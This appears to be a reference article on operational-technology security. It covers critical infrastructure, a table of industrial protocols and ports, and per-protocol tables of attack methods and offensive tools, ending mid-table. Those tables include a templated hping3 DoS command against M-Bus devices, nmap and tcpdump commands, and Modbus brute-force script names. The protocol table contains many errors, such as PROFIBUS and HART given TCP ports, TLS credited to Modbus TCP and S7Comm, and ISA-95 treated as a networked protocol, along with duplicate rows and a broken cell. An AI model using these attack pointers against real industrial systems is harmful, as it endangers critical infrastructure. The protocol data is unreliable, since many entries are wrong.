OT

Introduction

OT (Operational Technology) security structure is a set of security measures and best practices designed to protect critical infrastructure and industrial control systems (ICS) that manage and monitor physical processes such as manufacturing, transportation, and energy distribution. The security structure includes several layers of security controls and policies that work together to protect OT systems from cyber threats.

Here are some key elements of an effective OT security structure:

  1. Network Segmentation: The OT network should be segmented into different zones with varying levels of security controls. Each zone should have its own security policies and access controls.

  2. Access Controls: Access to OT systems and devices should be limited to authorized personnel only. Strong authentication methods such as two-factor authentication should be used.

  3. Endpoint Protection: All endpoints such as industrial controllers, sensors, and other devices should be secured with endpoint protection software, which can detect and prevent malware and unauthorized access.

  4. Vulnerability Management: Regular vulnerability assessments and patching should be done to identify and fix vulnerabilities in OT systems and devices.

  5. Incident Response: A well-defined incident response plan should be in place to respond to security incidents and minimize the impact of a breach.

  6. Training and Awareness: Regular training and awareness programs should be conducted for employees and contractors to raise awareness of security risks and best practices.

  7. Compliance: Compliance with industry-specific regulations and standards such as NIST SP 800-82 and IEC 62443 should be maintained to ensure the security of OT systems.

Critical infrastructure

Critical infrastructure in OT (Operational Technology) refers to systems and assets that are essential for the functioning of a society, such as power grids, transportation systems, water treatment plants, and industrial control systems (ICS) used in manufacturing and energy production. These include:

  1. Power Grids: Electric power generation and distribution systems, including power plants, transmission lines, and transformers.

  2. Water Treatment Facilities: Water purification and distribution systems, including water treatment plants, reservoirs, and pumping stations.

  3. Oil and Gas Pipelines: Oil and gas pipelines that transport crude oil, natural gas, and refined petroleum products from production sites to refineries and distribution centers.

  4. Transportation Systems: Transportation systems, including airports, seaports, and rail systems that transport people and goods.

  5. Industrial Control Systems: Industrial control systems that control the operations of manufacturing plants and energy production facilities, including supervisory control and data acquisition (SCADA) systems, distributed control systems (DCS), and programmable logic controllers (PLC).

  6. Communication Networks: Communication networks, including telephone networks, cellular networks, and internet service providers (ISP), which are essential for communication and data transmission.

  7. Financial Systems: Financial systems, including banks, stock exchanges, and payment processing systems, which are essential for financial transactions and economic stability.

  8. Emergency Services: Emergency services, including fire departments, police departments, and hospitals, which are essential for public safety and well-being.

  9. Government Services: Government services, including government buildings, military installations, and intelligence agencies, which are essential for national security and government operations.

OT attacks on critical infrastructure can have severe consequences, including disruption of essential services, property damage, loss of life, and financial loss. Here are some examples of OT attacks on critical infrastructure:

  1. Stuxnet: Stuxnet is a worm that was discovered in 2010 and is believed to be the first example of malware specifically designed to target industrial control systems. It targeted the nuclear program of Iran and was able to cause physical damage to centrifuges by exploiting vulnerabilities in the Siemens PLCs.

  2. Ukraine power outage: In 2015 and 2016, Ukrainian power grids were targeted in a series of cyberattacks that resulted in a widespread power outage. The attackers were able to gain access to the ICS and cause physical damage to the equipment, resulting in the loss of power for hundreds of thousands of people.

  3. Triton: Triton is a malware that was discovered in 2017 and is designed to target safety systems in industrial control systems. It was used in an attack on a Saudi Arabian petrochemical plant, and its purpose was to cause physical damage to the plant by disabling its safety systems.

  4. Colonial Pipeline: In May 2021, a ransomware attack on the Colonial Pipeline, which supplies fuel to the eastern United States, resulted in a temporary shutdown of the pipeline. This caused a disruption in fuel supply and resulted in panic buying and long lines at gas stations.

Protocol & Vendor

Based On Shamikkumar Dave Source

Sr no.ProtocolDescriptionPortNumber EncryptionSecurity VulnerabilitiesTypical Use CasesVendors Using It

1

Modbus

A serial communication protocol widely used in industrial automation.

TCP: 502

UDP: N/A

Not Available (Plain Text)

Lack of authentication, susceptible to eavesdropping

SCADA systems, industrial control and monitoring

Schneider Electric, Siemens, ABB

2

DNP3

A robust and secure protocol for communication in electric power systems.

TCP: 20000-20005

UDP: N/A

Secure Authentication

Vulnerable to man-in-the-middle attacks, lack of key management

Electric power systems, water/wastewater management

General Electric, Siemens, ABB

3

OPC

A standard for interoperability between industrial automation systems.

TCP: 135

UDP: N/A

TLS encryption

Vulnerable to unauthorized access, lack of data integrity

Industrial automation, device and software integration

Rockwell Automation, Honeywell, Yokogawa

4

EtherNet/IP

An industrial Ethernet protocol for real-time control and data exchange.

TCP: 44818

UDP: 2222

IPsec encryption (Achieved through IPsec implementation)

Potential vulnerabilities in authentication and encryption

Integration of control systems, safety devices, data exchange

Rockwell Automation, Schneider Electric

5

Profinet

A communication protocol for real-time data exchange in industrial automation.

TCP: 34962

UDP: 161

IPsec encryption (Achieved through IPsec implementation)

Vulnerabilities in access control, authentication mechanisms

Manufacturing, process control applications

Siemens, Phoenix Contact, B&R Automation

6

IEC 60870-5

A protocol for communication in electrical utility automation systems.

TCP: 2404

UDP: N/A

Not Available (Plain Text)

Lack of authentication, vulnerable to DoS attacks

Monitoring and control of electrical power systems

Siemens, ABB, Schneider Electric

7

PROFIBUS

A fieldbus protocol for communication in automation systems.

TCP: 3668

UDP: N/A

Not Available (Plain Text)

Vulnerable to eavesdropping, unauthorized access

Sensors, actuators, controllers in manufacturing

Siemens, Phoenix Contact, ABB

8

HART

A protocol for communication with intelligent field devices.

TCP: 5094

UDP: N/A

Not Available (Plain Text)

Vulnerable to spoofing, tampering

Industrial process monitoring and control

Emerson, Honeywell, Yokogawa

9

BACnet

A protocol for building automation and control networks.

TCP: 47808

UDP: N/A

Secure Authentication and TLS encryption

Vulnerable to unauthorized access, DoS attacks

HVAC systems, lighting control, energy management

Honeywell, Johnson Controls, Siemens

10

MQTT

A lightweight messaging protocol for IoT and M2M communication.

TCP: 1883

UDP: N/A

Not Available (Plain Text) to Vulnerable to spoofing, tampering

Industrial process monitoring and control

Emerson, Honeywell, Yokogawa

11

CANbus

A bus standard for communication in vehicle systems.

N/A

Not Available (Plain Text)

Vulnerable to spoofing, replay attacks

Automotive systems, control units

Bosch, Continental, Delphi

12

WirelessHART

A wireless communication protocol based on HART for industrial

UDP: 5093

AES-128 encryption (Inherent encryption)

Vulnerable to jamming, unauthorized access

Wireless monitoring and control of industrial processes

Emerson, Honeywell, Siemens

13

IEC 61850

A protocol for communication in substation automation systems.

TCP: 102

UDP: 102

TLS encryption

Vulnerabilities in authentication, data integrity

Electric power substation automation, smart grid applications

14

Vnet/IP

Yokogawa Proprietery protocol for Centum VP Controllers

TCP: 44818

Can use SSL/TSL encryption

Weak authentication, Data integrity, Dos

All sectors in Industrial Automation

Yokogawa

15

SNMP

A protocol for network management and monitoring of devices.

UDP: 161

UDP: 162

v3 encryption

Vulnerabilities in authentication, data privacy

Network management, device monitoring and control

16

ICCP/TASE.2

A protocol for real-time information exchange between control centers

TCP: 102

UDP: 102

TLS encryption

Vulnerable to unauthorized access, data integrity issues

Inter-control center communication, energy management systems

17

CIP

A protocol for communication in industrial automation networks.

TCP: 44818

UDP: 2222

TLS encryption

Potential vulnerabilities in authentication and encryption

Integration of control systems, data exchange, safety devices

18

EtherCAT

A real-time Ethernet protocol for communication in motion control systems.

UDP: 8899

IPsec encryption (Achieved through IPsec implementation)

Vulnerabilities in authentication, data integrity

Motion control, automation systems

Beckhoff Automation, Omron, Bosch

19

WISA

A wireless protocol for industrial automation and control.

UDP: 49200

Not Available (Plain Text)

Vulnerable to unauthorized access, data integrity issues

Wireless industrial control and monitoring, asset management

Endress+Hauser, Pepperl+Fuchs, ABB

20

BACnet/IP

A variant of BACnet protocol using IP networks for building automation.

UDP: 47808

Secure Authentication and TLS encryption

Vulnerable to unauthorized access, DoS attacks

Building automation, control and monitoring

Honeywell, Johnson Controls, Siemens

21

Zigbee

A wireless communication protocol for low-power, low-data-rate IoT devices.

Various

AES encryption (Inherent encryption)

Vulnerabilities in authentication, data privacy

Home automation,.

Philips, Texas Instruments, Silicon Labs

22

PROFINET IO

A real-time industrial Ethernet protocol for automation systems.

TCP: 34962

UDP: 161

IPsec encryption (Achieved through IPsec implementation)

Vulnerabilities in access control, authentication mechanisms

Industrial automation, process control applications

23

ISA-95

A standard for integration of enterprise and control systems.

TCP: 44818

UDP: 2222

TLS encryption

Potential vulnerabilities in authentication and encryption

Integration of business and control systems, MES

24

LonWorks

A protocol for control networks used in building automation.

TCP: 1626

Not Available (Plain Text)

Vulnerabilities in authentication, data privacy

Building automation, lighting control, energy management

Echelon, Siemens, Schneider Electric

25

M-Bus

A protocol for remote reading of utility meters.

TCP: 50000

Not Available (Plain Text)

Vulnerable to unauthorized access, data integrity issues

Utility metering, remote meter reading

Kamstrup, Itron, Siemens

26

Modbus TCP/IP

A variant of Modbus protocol using TCP/IP for communication.

TCP: 502

UDP: N/A

Secure Authentication and TLS encryption

Lack of authentication, susceptible to eavesdropping

SCADA systems, industrial control and monitoring

27

CANopen

A higher-layer protocol based on CANbus for industrial automation.

N/A

Not Available (Plain Text)

Vulnerable to unauthorized access, message injection

Industrial automation, motion control systems

Beckhoff Automation, Bosch, Omron

28

KNX

A protocol for building automation and control networks.

TCP: 3671

UDP: 3672

Secure Authentication and TLS encryption

Potential vulnerabilities in authentication and encryption

Building automation, lighting control, HVAC systems

29

IEC 62351

A suite of protocols for secure communication in power systems.

TCP: 102

UDP: 102

TLS encryption

Vulnerabilities in authentication, key management

Secure communication in electric power systems

30

S7Comm

A proprietary protocol used in Siemens S7-300 and S7-400 PLCs.

TCP: 102

Secure Authentication and TLS encryption

Vulnerabilities in authentication, data integrity

Industrial automation, control systems

Siemens, Schneider Electric, ABB

31

H1 Fieldbus

A fieldbus protocol used in process automation and control systems.

TCP: 102

UDP: 102

Not Available (Plain Text)

Vulnerable to unauthorized access, data integrity issues

Process automation, control and monitoring

32

Zigbee RF4CE

A variant of Zigbee protocol for remote control applications.

Various

AES encryption (Inherent encryption)

Vulnerabilities in authentication, data privacy

Remote controls, consumer electronics

Philips, Texas Instruments, Silicon Labs

33

Foundation Fieldbus

A digital communication protocol for process control systems.

TCP: 2222

UDP: N/A

Not Available (Plain Text)

Vulnerabilities in authentication, data integrity

Process control, monitoring and diagnostics

34

MMS

A protocol for real-time data communication in industrial systems.

TCP: 102

UDP: 102

TLS encryption

Vulnerabilities in authentication, data integrity

Industrial control systems, real-time data exchange

35

EtherNet/IPTap

A protocol for network traffic monitoring in EtherNet/IP networks.

TCP: 2222

UDP: 2222

IPsec encryption (Achieved through IPsec implementation)

Vulnerable to unauthorized access, data integrity issues

Network traffic monitoring, diagnostics in EtherNet/IP networks

36

MelsecNet

A protocol for communication in Mitsubishi Electric PLC systems.

TCP: 5007

UDP: 5007

Not Available (Plain Text)

Vulnerabilities in authentication, data integrity

Industrial automation, process control systems

37

FOUNDATION HSE

A high-speed Ethernet protocol for process control systems.

TCP: 2222

UDP: N/A

Not Available (Plain Text)

Vulnerabilities in authentication, data integrity

Process control, high-speed data exchange

38

PROFIsafe

A safety communication protocol for fail-safe automation systems.

TCP: 34962

UDP: 161

IPsec encryption (Achieved through IPsec implementation)

Vulnerabilities in access control, authentication mechanisms

Safety-critical applications, industrial automation

39

DeviceNet

A network protocol for communication with industrial devices.

TCP: 44818

UDP: 2222

IPsec encryption (Achieved through IPsec implementation)

Potential vulnerabilities in authentication and encryption

Industrial device communication, sensor integration

40

HART-IP

A variant of HART protocol using IP networks for industrial applications.

UDP: 5094

IPsec encryption (Achieved through IPsec implementation)

Vulnerable to spoofing, tampering

Industrial process monitoring and control over IP networks

Emerson, Honeywell, Yokogawa

41

CIP Safety

A safety protocol for communication in industrial control systems.

TCP: 44818

UDP: 2222

TLS encryption

Potential vulnerabilities in authentication and encryption

Safety-critical applications, control system integration

42

EtherCAT P

A power-over-EtherCAT protocol for communication and power delivery.

UDP: 8899

IPsec encryption (Achieved through IPsec implementation)

Vulnerabilities in authentication, data integrity

Motion control, automation systems with power delivery

Beckhoff Automation, Omron, Bosch

43

WISA Wireless

A wireless protocol for communication in industrial automation.

UDP: 49200

Not Available (Plain Text)

Vulnerable to unauthorized access, data integrity issues

Wireless industrial control and monitoring, asset management

Endress+Hauser, Pepperl+Fuchs, ABB

44

BACnet/IPv6

A variant of BACnet protocol using IPv6 for building automation.

UDP: 47808

Secure Authentication and TLS encryption

Vulnerable to unauthorized access, DoS attacks

Building automation, control and monitoring with IPv6

Honeywell, Johnson Controls, Siemens

45

Zigbee IP

A variant of Zigbee protocol using IP networks for IoT applications.

Various

AES encryption (Inherent encryption)

Vulnerabilities in authentication, data privacy

IoT applications, wireless sensor networks with IP connectivity

Philips, Texas Instruments, Silicon Labs

46

CC-Link

A fieldbus protocol for industrial automation in Asia.

TCP: 5000

UDP: 5000

AES encryption (Inherent encryption)

Lack of authentication, susceptible to eavesdropping

Industrial automation, motion control systems in Asia

47

KNXnet/IP

A variant of KNX protocol using IP networks for building automation.

TCP: 3671

UDP: 3672

Secure Authentication and TLS encryption

Potential vulnerabilities in authentication and encryption

Building automation, lighting control, HVAC systems with IP connectivity

48

IEC 61883

A protocol for audio and video transmission in professional applications.

UDP: 61883

Not Available (Plain Text)

Vulnerabilities in authentication, data privacy

Audio/video transmission, professional multimedia applications

Sony, Panasonic, Canon

49

CIP Motion

A protocol for motion control in industrial automation systems.

TCP: 44818

UDP: 2222

TLS encryption

Potential vulnerabilities in authentication and encryption

Industrial motion control systems

50

WirelessMBus

A wireless communication protocol for utility metering applications.

TCP: 50000

AES-128 encryption (Inherent encryption)

Vulnerable to unauthorized access, data integrity issues

Wireless utility metering, remote meter reading

Kamstrup, Itron, Siemens

51

Fieldbus HSE

A high-speed Ethernet protocol for fieldbus communication.

TCP: 2222

UDP: N/A

Not Available (Plain Text)

Vulnerabilities in authentication, data integrity

Fieldbus communication, high-speed data exchange

52

Modbus/TCP

A variant of Modbus protocol using TCP/IP for communication.

TCP: 502

UDP: N/A

Secure Authentication and TLS encryption

Lack of authentication, susceptible to eavesdropping

SCADA systems, industrial control and monitoring

53

CC-Link IE

An industrial Ethernet protocol for automation systems in Asia.

TCP: 44818

UDP: 2222

IPsec encryption (Achieved through IPsec implementation)

Potential vulnerabilities in authentication and encryption

Industrial automation, motion control systems in Asia

54

Modbus/UDP

A variant of Modbus protocol using UDP/IP for communication.

UDP: 502

Not Available (Plain Text)

Lack of authentication, susceptible to eavesdropping

SCADA systems, industrial control and monitoring

Schneider Electric, Siemens, ABB

55

OPC UA

A machine-to-machine communication protocol for industrial automation.

TCP: 4840

UDP: 4840

Secure Authentication and TLS encryption

Potential vulnerabilities in authentication and encryption

Industrial automation, data exchange and interoperability

Modbus

Attack MethodsHacking ToolsCommandsDescription

Modbus

Eavesdropping, Man-in-the-Middle (MitM) Attacks

Network Sniffers (e.g., Wireshark)

Read Holding Registers

Modbus is a widely used serial communication protocol in industrial automation. It is commonly used in SCADA systems, industrial control, and monitoring. It operates over TCP port 502 and lacks authentication, making it susceptible to eavesdropping.

Write Single Register

Read/Write Multiple Registers

DNP3

IDAttack MethodsHacking ToolsCommandsDescription

DNP3

Man-in-the-Middle Attacks

Network Sniffers

Read Data

DNP3 is a robust and secure protocol used for communication in electric power systems, as well as water and wastewater management. It operates over TCP ports 20000-20005 and does not use UDP.

Write Data

Control Operations

Device Configuration

OPC

IDAttack MethodsHacking ToolsCommandsDescription

OPC

Unauthorized Access

Network Scanners

Read Tag Data

OPC (OLE for Process Control) is a standard for interoperability between industrial automation systems. It uses TCP port 135 and supports TLS encryption for secure communication.

Write Tag Data

Invoke Methods

Data Access Read/Write

EtherNet/IP

IDAttack MethodsHacking ToolsCommandsDescription

EtherNet/IP

Authentication Bypass, Packet Sniffing

Packet Sniffers (e.g., Wireshark)

Read Tag Data

EtherNet/IP is an industrial Ethernet protocol used for real-time control and data exchange. It operates over TCP port 44818 and UDP port 2222.

Write Tag Data

Device Configuration

Profinet

IDAttack MethodsSpecific ToolsSpecific CommandsDescription

Profinet

Access Control Bypass, Man-in-the-Middle Attacks

Packet Sniffers (e.g., Wireshark)

Read Process Data

Profinet is a communication protocol used for real-time data exchange in industrial automation. It operates over TCP port 34962 and UDP port 161.

Write Process Data

Diagnostic Information

IEC 60870-5

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Denial-of-Service (DoS) Attacks

DoS Tools (e.g., LOIC)

C_SC_NA (45h)

Control command used for Single-Command (SC) normalized value for Network Areas (NA)

Lack of Authentication

Network Sniffers (e.g., Wireshark)

C_IC_NA (64h)

Control command used for Interrogation of Counter (IC) normalized value for Network Areas (NA)

PROFIBUS

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Eavesdropping

Packet Sniffers (e.g., Wireshark)

N/A

Passive monitoring and capturing of network traffic to intercept and analyze PROFIBUS communication

Unauthorized Access

PROFIBUS Configuration Tools

N/A

Use of unauthorized configuration tools to gain access to PROFIBUS network and devices

HART

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Spoofing

HART Modem, Software

Universal Command (UCOM)

Unauthorized transmission of spoofed messages to impersonate a legitimate field device

Tampering

HART Configurator

Read/Write Commands

Unauthorized modification of device configuration parameters and process variable settings

BACnet

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

BACnet Discovery Tools

N/A

Exploiting vulnerabilities to gain unauthorized access to BACnet networks and devices

DoS Attacks

Network Stress Testing Tools

N/A

Overloading BACnet devices or networks with excessive traffic, causing disruption of services

MOTT

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

MQTT Packet Sniffing Tools

CONNECT, PUBLISH, SUBSCRIBE

Intercepting MQTT packets to gain unauthorized access to the broker or IoT devices’ communication, compromising data integrity

Data Privacy

MQTT Message Analyzer

N/A

Analyzing MQTT messages to extract sensitive information, compromising the privacy and confidentiality of IoT data

CANbus

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Spoofing

CANbus Spoofing Tools

N/A

Sending forged CAN messages with altered identifiers or data, impersonating legitimate devices or commands

Replay Attacks

CANbus Replay Tools

N/A

Capturing and replaying previously sent CAN messages to deceive the system or retrigger specific commands

WirelessHART

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Jamming

Jamming Devices

N/A

Emitting interference signals to disrupt or disable wireless communication, causing data loss or interruptions

Unauthorized Access

WirelessHART Sniffers

N/A

Capturing and analyzing WirelessHART packets to gain unauthorized access or extract sensitive information

IEC 61850

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

IEC 61850 Exploitation Tools

N/A

Exploit vulnerabilities in the IEC 61850 protocol to gain unauthorized access to substation devices and control systems

Data Manipulation

Packet Manipulation Tools

N/A

Modify or manipulate IEC 61850 packets to tamper with data, commands, or control signals within the substation automation system

Vnet/IP

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Weak Authentication

Exploitation Tools

N/A

Exploit vulnerabilities in the weak authentication mechanism of Vnet/IP to gain unauthorized access to Centum VP Controllers

Data Integrity

Packet Manipulation Tools

N/A

Manipulate Vnet/IP packets to tamper with data, commands, or control signals, compromising the integrity of the communication

Denial of Service (DoS)

DoS Tools

N/A

Launch DoS attacks targeting Vnet/IP infrastructure to disrupt or disable the communication and services

SNMP

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Vulnerabilities in Authentication

SNMP Frameworks

N/A

Exploit weaknesses in SNMP authentication mechanisms to gain unauthorized access to network devices and management systems

Data Privacy

SNMP Sniffing Tools

N/A

Capture and analyze SNMP traffic to intercept sensitive data, including community strings, SNMPv3 credentials, and more

Denial of Service (DoS)

DoS Tools

N/A

Launch DoS attacks targeting SNMP agents or management systems, disrupting the network management and monitoring processes

ICCP/TASE.2

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

N/A

Exploit vulnerabilities in ICCP/TASE.2 implementations to gain unauthorized access to control centers and sensitive information

Data Integrity Issues

Traffic Manipulation

N/A

Manipulate ICCP/TASE.2 messages to modify or inject false information, compromising the integrity of real-time data exchange

CIP

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

N/A

Exploit vulnerabilities in CIP implementations to gain unauthorized access to industrial automation networks

Potential Vulnerabilities

Security Scanners

N/A

Scan for potential vulnerabilities in CIP protocol implementations

Traffic Analysis

Network Sniffers

N/A

Capture and analyze network traffic to gather information about CIP-based communications

Man-in-the-Middle Attacks

MITM Tools

N/A

Intercept and manipulate CIP communications between devices to gain unauthorized control or gather data

Encryption Bypass

Cryptographic Tools

N/A

Attempt to bypass or break the TLS encryption used in CIP communications for unauthorized access

EtherCAT

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

N/A

Exploit vulnerabilities in EtherCAT implementations to gain unauthorized access to motion control systems

Data Manipulation

Packet Manipulation

N/A

Manipulate EtherCAT packets to modify or inject data within the communication flow

Denial of Service (DoS)

DoS Tools

N/A

Overload or disrupt EtherCAT communication channels to cause a denial of service

Man-in-the-Middle Attacks

MITM Tools

N/A

Intercept and manipulate EtherCAT communication between devices to gain unauthorized control or gather data

Encryption Bypass

Cryptographic Tools

N/A

Attempt to bypass or break the IPsec encryption used in EtherCAT communications for unauthorized access

WISA

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in WISA implementations to gain unauthorized access to industrial control systems

Data Manipulation

Packet Manipulation

-

Manipulate WISA packets to modify or inject data within the communication flow

Denial of Service (DoS)

DoS Tools

-

Overload or disrupt WISA communication channels to cause a denial of service

Sniffing and Eavesdropping

Packet Sniffing Tools

Wireshark, tcpdump

Capture and analyze WISA packets to gather information and potentially extract sensitive data

Jamming

Jamming Tools

-

Transmit interference signals to disrupt or disable WISA communication

Reverse Engineering

Reverse Engineering Tools

-

Analyze the WISA protocol, firmware, or devices to understand its inner workings and uncover potential vulnerabilities

BACnet/IP

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in BACnet/IP implementations to gain unauthorized access to building automation systems

Denial of Service (DoS)

DoS Tools

-

Overload or disrupt BACnet/IP communication channels to cause a denial of service

Protocol Fuzzing

Fuzzing Tools

-

Send malformed or unexpected BACnet/IP packets to discover protocol vulnerabilities and potential security flaws

Sniffing and Eavesdropping

Packet Sniffing Tools

Wireshark, tcpdump

Capture and analyze BACnet/IP packets to gather information and potentially extract sensitive data

Vulnerability Scanning

Scanning Tools

Nmap, Nessus, OpenVAS

Scan BACnet/IP networks and devices for known vulnerabilities, misconfigurations, or weak points

Exploitation Frameworks

Metasploit, Exploit Packs

Various Metasploit modules and exploits

Utilize existing BACnet/IP exploits within frameworks like Metasploit to automate attacks and gain unauthorized access

Reverse Engineering

Reverse Engineering Tools

-

Analyze the BACnet/IP protocol, firmware, or devices to understand its inner workings and uncover potential vulnerabilities

Zigbee

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in Zigbee implementations to gain unauthorized access to IoT devices and networks

Sniffing and Eavesdropping

Packet Sniffing Tools

Wireshark, Kismet

Capture and analyze Zigbee network traffic to gather information, extract encryption keys, or intercept sensitive data

Jamming

Jamming Tools

-

Transmit interference signals to disrupt or disable Zigbee communication, causing denial of service

Replay Attacks

Replay Attack Tools

-

Capture and replay Zigbee network packets to impersonate devices or repeat previously valid commands

Device Fingerprinting

Fingerprinting Tools

-

Identify Zigbee devices, their capabilities, and potential vulnerabilities through passive or active fingerprinting

Brute-Force Attacks

Brute-Force Tools

-

Attempt to guess or systematically try possible encryption keys or device credentials to gain unauthorized access

Exploitation Frameworks

Metasploit, Exploit Packs

Various Metasploit modules and exploits

Utilize existing Zigbee exploits within frameworks like Metasploit to automate attacks and gain unauthorized access

Zigbee Hacking Tools

Zigbee-specific Tools

KillerBee, z3sec, ZigDiggity, Zigbee2MQTT, Zigbee-Tool, ZBScanner

Specialized tools for analyzing, manipulating, or attacking Zigbee networks and devices

Zigbee Sniffing and Exploitation

Zigbee Capture and Exploitation Tools

Z3sec, zigbee-sec, KillerBee, zbdsniff

Tools designed to capture and analyze Zigbee traffic, identify vulnerabilities, and exploit weaknesses in Zigbee implementations

PROFINET IO

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in PROFINET IO implementations to gain unauthorized access to industrial automation systems

Network Scanning

Network Scanning Tools

Nmap

Scan the network for PROFINET IO devices and identify potential vulnerabilities and open ports

Sniffing and Eavesdropping

Packet Sniffing Tools

Wireshark, Tshark

Capture and analyze PROFINET IO network traffic to gather information, extract data, or identify potential security issues

Denial of Service (DoS)

DoS Attack Tools

Hping3, LOIC, Slowloris

Launch DoS attacks targeting PROFINET IO devices or network infrastructure to disrupt communication or cause system downtime

Exploitation Frameworks

Metasploit, Exploit Packs

Various Metasploit modules and exploits

Utilize existing PROFINET IO exploits within frameworks like Metasploit to automate attacks and gain unauthorized access

Industrial Protocol Tools

PROFINET-specific Tools

PROFINET Wireshark Dissector, PROFINET Scanner

Tools designed specifically for analyzing, monitoring, or attacking PROFINET IO networks and devices

Industrial Control System Tools

ICS Security Tools

SCADAguardian, Wurldtech Achilles, Indegy

Specialized tools for assessing the security of industrial control systems, including PROFINET IO

GitHub Tools

Security-related Repositories on GitHub

-

Explore security-related repositories on GitHub for PROFINET IO vulnerabilities, exploits, or proof-of-concept code

ISA-95

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in ISA-95 implementations to gain unauthorized access to integrated enterprise and control systems

Network Scanning

Network Scanning Tools

Nmap

Scan the network for ISA-95 systems and identify potential vulnerabilities and open ports

Sniffing and Eavesdropping

Packet Sniffing Tools

Wireshark, Tshark

Capture and analyze network traffic in ISA-95 integration to gather information, extract data, or identify security issues

Denial of Service (DoS)

DoS Attack Tools

Hping3, LOIC, Slowloris

Launch DoS attacks targeting ISA-95 systems or network infrastructure to disrupt communication or cause system downtime

Exploitation Frameworks

Metasploit, Exploit Packs

Various Metasploit modules and exploits

Utilize existing exploits within frameworks like Metasploit to automate attacks on ISA-95 systems

Industrial Control System Tools

ICS Security Tools

SCADAguardian, Wurldtech Achilles, Indegy

Specialized tools for assessing the security of industrial control systems, including ISA-95

Lon Works

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in LonWorks implementations to gain unauthorized access to control networks

Network Scanning

Network Scanning Tools

nmap -p 1626

Scan the network for LonWorks devices and identify potential vulnerabilities and open ports

Sniffing and Eavesdropping

Packet Sniffing Tools

tcpdump -i <interface> -s 0 port 1626

Capture and analyze network traffic in LonWorks control networks to gather information or identify security issues

M-Bus

Attack MethodsSpecific ToolsSpecific Commands and CodesCommands Description

Unauthorized Access

Exploitation Tools

-

Exploit vulnerabilities in M-Bus implementations to gain unauthorized access to utility metering systems

Network Scanning

Network Scanning Tools

nmap -p 50000 <target_ip>

Scan the network for M-Bus devices and identify potential vulnerabilities and open ports

Sniffing and Eavesdropping

Packet Sniffing Tools

tcpdump -i <interface> -s 0 port 50000

Capture and analyze network traffic in M-Bus systems to gather information or identify security issues

Denial of Service (DoS)

DoS Attack Tools

hping3 -c <count> -p 50000 <target_ip>

Launch DoS attacks targeting M-Bus devices or network infrastructure to disrupt communication or cause system downtime

Exploitation Frameworks

Metasploit, Exploit Packs

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on M-Bus systems

Python Codes

Python-based Exploit Scripts

-

Develop custom Python scripts to exploit vulnerabilities or automate specific attacks on M-Bus systems

Modbus TCP/IP

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Lack of Authentication

Metasploit Framework, ExploitDB, Shodan

-

-

Exploit the lack of authentication in Modbus TCP/IP implementations to gain unauthorized access

Eavesdropping

Wireshark, tcpdump, tshark

-

-

Capture and analyze network traffic in Modbus TCP/IP systems to intercept and gather sensitive information

Network Scanning

Nmap

-

-

Scan the network for Modbus TCP/IP devices and identify potential vulnerabilities and open ports

Denial of Service (DoS)

Hping3, Slowloris, OWASP ZAP

-

-

Launch DoS attacks targeting Modbus TCP/IP devices or network infrastructure to disrupt communication

Exploitation Frameworks

Metasploit Framework, ExploitDB

modbus_write_register, modbus_read_input_registers

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on Modbus TCP/IP systems

Nmap Scripting Engine

Nmap

-

modbus-discover, modbus-brute

Use Nmap’s scripting engine to execute specific scripts targeting Modbus TCP/IP systems

CANopen

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Unauthorized Access

Metasploit Framework, ExploitDB

-

-

Exploit vulnerabilities in CANopen implementations to gain unauthorized access to industrial automation systems

Message Injection

CANBus Tools, SocketCAN

-

-

Inject malicious messages into the CANopen network to manipulate the behavior of industrial automation systems

Network Scanning

Nmap

-

-

Scan the network for CANopen devices and identify potential vulnerabilities and open ports

Reverse Engineering

IDA Pro, Binwalk, Wireshark

-

-

Analyze CANopen firmware or captured network traffic to understand protocol implementation and identify weaknesses

Exploitation Frameworks

Metasploit Framework, ExploitDB

-

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on CANopen implementations

Nmap Scripting Engine

Nmap

-

-

Use Nmap’s scripting engine to execute specific scripts targeting CANopen devices and identify potential vulnerabilities

KNX

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Unauthorized Access

Metasploit Framework, ExploitDB

-

-

Exploit vulnerabilities in KNX implementations to gain unauthorized access to building automation and control networks

Man-in-the-Middle (MitM)

Bettercap, Ettercap

-

-

Intercept and manipulate KNX communication to perform malicious actions, such as controlling devices or capturing sensitive data

Network Scanning

Nmap

-

-

Scan the network for KNX devices, identify open ports, and gather information about the network structure and potential vulnerabilities

Denial of Service (DoS)

Hping3, Slowloris

-

-

